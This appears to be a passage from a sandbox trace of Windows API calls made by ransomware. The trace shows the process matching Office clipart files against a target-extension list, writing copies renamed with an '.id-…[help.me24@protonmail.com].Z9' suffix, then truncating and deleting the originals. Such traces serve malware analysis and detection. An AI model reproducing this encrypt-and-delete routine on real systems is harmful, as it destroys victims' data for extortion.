	[0183.562] lstrlenW (lpString=".jpg") returned 4
	[0183.562] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.563] lstrlenW (lpString=".doc") returned 4
	[0183.563] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.563] lstrlenW (lpString=".docx") returned 5
	[0183.563] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0183.563] lstrlenW (lpString=".pdf") returned 4
	[0183.563] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.563] lstrlenW (lpString=".xls") returned 4
	[0183.563] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.563] lstrlenW (lpString=".xlsx") returned 5
	[0183.563] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0183.563] lstrlenW (lpString=".ppt") returned 4
	[0183.563] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.563] lstrlenW (lpString=".zip") returned 4
	[0183.563] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.563] lstrlenW (lpString=".rar") returned 4
	[0183.563] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.563] lstrlenW (lpString=".bz2") returned 4
	[0183.563] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.563] lstrlenW (lpString=".7z") returned 3
	[0183.563] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.563] lstrlenW (lpString=".dbf") returned 4
	[0183.563] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.563] lstrlenW (lpString=".1cd") returned 4
	[0183.563] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.563] lstrlenW (lpString=".jpg") returned 4
	[0183.563] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.563] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.564] lstrlenW (lpString="J0152414.WMF") returned 12
	[0183.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.565] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=24844) returned 1
	[0183.565] CloseHandle (hObject=0x520) returned 1
	[0183.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220
	[0183.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.565] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.565] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0183.567] GetLastError () returned 0x0
	[0183.567] ReadFile (in: hFile=0x520, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x610c, lpOverlapped=0x0) returned 1
	[0183.569] WriteFile (in: hFile=0x37c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x6110, lpOverlapped=0x0) returned 1
	[0183.570] ReadFile (in: hFile=0x520, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.570] WriteFile (in: hFile=0x37c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.570] SetEndOfFile (hFile=0x37c) returned 1
	[0183.571] CloseHandle (hObject=0x37c) returned 1
	[0183.571] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.571] SetEndOfFile (hFile=0x520) returned 1
	[0183.574] CloseHandle (hObject=0x520) returned 1
	[0183.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1
	[0183.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.575] lstrlenW (lpString=".doc") returned 4
	[0183.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.575] lstrlenW (lpString=".docx") returned 5
	[0183.575] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0183.575] lstrlenW (lpString=".pdf") returned 4
	[0183.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.575] lstrlenW (lpString=".xls") returned 4
	[0183.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.575] lstrlenW (lpString=".xlsx") returned 5
	[0183.575] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0183.576] lstrlenW (lpString=".ppt") returned 4
	[0183.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.576] lstrlenW (lpString=".zip") returned 4
	[0183.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.576] lstrlenW (lpString=".rar") returned 4
	[0183.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.576] lstrlenW (lpString=".bz2") returned 4
	[0183.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.576] lstrlenW (lpString=".7z") returned 3
	[0183.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.576] lstrlenW (lpString=".dbf") returned 4
	[0183.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.576] lstrlenW (lpString=".1cd") returned 4
	[0183.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.576] lstrlenW (lpString=".jpg") returned 4
	[0183.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.576] lstrlenW (lpString=".doc") returned 4
	[0183.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.576] lstrlenW (lpString=".docx") returned 5
	[0183.576] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0183.576] lstrlenW (lpString=".pdf") returned 4
	[0183.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.576] lstrlenW (lpString=".xls") returned 4
	[0183.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.576] lstrlenW (lpString=".xlsx") returned 5
	[0183.576] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0183.576] lstrlenW (lpString=".ppt") returned 4
	[0183.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.577] lstrlenW (lpString=".zip") returned 4
	[0183.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.577] lstrlenW (lpString=".rar") returned 4
	[0183.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.577] lstrlenW (lpString=".bz2") returned 4
	[0183.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.577] lstrlenW (lpString=".7z") returned 3
	[0183.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.577] lstrlenW (lpString=".dbf") returned 4
	[0183.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.577] lstrlenW (lpString=".1cd") returned 4
	[0183.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0183.577] lstrlenW (lpString=".jpg") returned 4
	[0183.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.577] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.577] lstrlenW (lpString="J0152430.WMF") returned 12
	[0183.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.579] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=14132) returned 1
	[0183.579] CloseHandle (hObject=0x520) returned 1
	[0183.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220
	[0183.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.580] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.580] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0183.581] GetLastError () returned 0x0
	[0183.581] ReadFile (in: hFile=0x520, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x3734, lpOverlapped=0x0) returned 1
	[0183.583] WriteFile (in: hFile=0x37c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x3740, lpOverlapped=0x0) returned 1
	[0183.584] ReadFile (in: hFile=0x520, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.584] WriteFile (in: hFile=0x37c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.584] SetEndOfFile (hFile=0x37c) returned 1
	[0183.584] CloseHandle (hObject=0x37c) returned 1
	[0183.584] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.585] SetEndOfFile (hFile=0x520) returned 1
	[0183.587] CloseHandle (hObject=0x520) returned 1
	[0183.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.589] lstrlenW (lpString=".doc") returned 4
	[0183.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.589] lstrlenW (lpString=".docx") returned 5
	[0183.589] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0183.589] lstrlenW (lpString=".pdf") returned 4
	[0183.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.589] lstrlenW (lpString=".xls") returned 4
	[0183.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.589] lstrlenW (lpString=".xlsx") returned 5
	[0183.589] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0183.589] lstrlenW (lpString=".ppt") returned 4
	[0183.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.589] lstrlenW (lpString=".zip") returned 4
	[0183.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.589] lstrlenW (lpString=".rar") returned 4
	[0183.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.589] lstrlenW (lpString=".bz2") returned 4
	[0183.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.589] lstrlenW (lpString=".7z") returned 3
	[0183.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.589] lstrlenW (lpString=".dbf") returned 4
	[0183.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.589] lstrlenW (lpString=".1cd") returned 4
	[0183.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.589] lstrlenW (lpString=".jpg") returned 4
	[0183.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.590] lstrlenW (lpString=".doc") returned 4
	[0183.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.590] lstrlenW (lpString=".docx") returned 5
	[0183.590] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0183.590] lstrlenW (lpString=".pdf") returned 4
	[0183.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.590] lstrlenW (lpString=".xls") returned 4
	[0183.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.590] lstrlenW (lpString=".xlsx") returned 5
	[0183.590] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0183.590] lstrlenW (lpString=".ppt") returned 4
	[0183.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.590] lstrlenW (lpString=".zip") returned 4
	[0183.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.590] lstrlenW (lpString=".rar") returned 4
	[0183.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.590] lstrlenW (lpString=".bz2") returned 4
	[0183.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.590] lstrlenW (lpString=".7z") returned 3
	[0183.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.590] lstrlenW (lpString=".dbf") returned 4
	[0183.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.590] lstrlenW (lpString=".1cd") returned 4
	[0183.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0183.590] lstrlenW (lpString=".jpg") returned 4
	[0183.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.591] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.591] lstrlenW (lpString="J0152432.WMF") returned 12
	[0183.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.592] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=16492) returned 1
	[0183.592] CloseHandle (hObject=0x520) returned 1
	[0183.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 0x220
	[0183.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.592] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.592] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0183.593] GetLastError () returned 0x0
	[0183.593] ReadFile (in: hFile=0x520, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x406c, lpOverlapped=0x0) returned 1
	[0183.855] WriteFile (in: hFile=0x37c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x4070, lpOverlapped=0x0) returned 1
	[0183.856] ReadFile (in: hFile=0x520, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.856] WriteFile (in: hFile=0x37c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.856] SetEndOfFile (hFile=0x37c) returned 1
	[0183.856] CloseHandle (hObject=0x37c) returned 1
	[0183.856] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.856] SetEndOfFile (hFile=0x520) returned 1
	[0183.859] CloseHandle (hObject=0x520) returned 1
	[0183.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1
	[0184.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.475] lstrlenW (lpString=".doc") returned 4
	[0184.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.475] lstrlenW (lpString=".docx") returned 5
	[0184.475] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0184.475] lstrlenW (lpString=".pdf") returned 4
	[0184.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.475] lstrlenW (lpString=".xls") returned 4
	[0184.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.476] lstrlenW (lpString=".xlsx") returned 5
	[0184.476] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0184.476] lstrlenW (lpString=".ppt") returned 4
	[0184.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.476] lstrlenW (lpString=".zip") returned 4
	[0184.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.476] lstrlenW (lpString=".rar") returned 4
	[0184.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.476] lstrlenW (lpString=".bz2") returned 4
	[0184.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.476] lstrlenW (lpString=".7z") returned 3
	[0184.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.476] lstrlenW (lpString=".dbf") returned 4
	[0184.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.476] lstrlenW (lpString=".1cd") returned 4
	[0184.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.476] lstrlenW (lpString=".jpg") returned 4
	[0184.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
